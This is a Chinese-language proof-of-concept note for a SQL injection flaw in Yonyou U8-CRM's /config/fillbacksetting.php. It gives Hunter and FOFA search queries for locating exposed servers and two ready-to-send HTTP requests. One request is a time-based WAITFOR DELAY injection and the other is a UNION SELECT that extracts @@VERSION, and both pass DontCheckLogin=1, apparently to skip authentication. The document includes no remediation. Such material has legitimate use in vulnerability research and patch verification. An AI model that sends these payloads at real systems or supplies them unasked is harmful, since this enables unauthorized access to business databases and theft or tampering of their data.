用友U8-CRM系统fillbacksetting.php存在SQL注入漏洞.md

用友U8-CRM系统fillbacksetting.php存在SQL注入漏洞

用友U8-CRM系统 /config/fillbacksetting.php 存在SQL注入漏洞，允许攻击者通过恶意构造的SQL语句操控数据库，从而导致数据泄露、篡改或破坏，严重威胁系统安全。

hunter

app.name="用友 CRM"

fofa

title="用友U8CRM"

poc

GET /config/fillbacksetting.php?DontCheckLogin=1&action=delete&id=-99;WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bgsesstimeout-;
Connection: close

GET /config/fillbacksettingedit.php?DontCheckLogin=1&action=edit&id=1+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,@@VERSION,NULL,NULL--+ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bgsesstimeout-;
Connection: close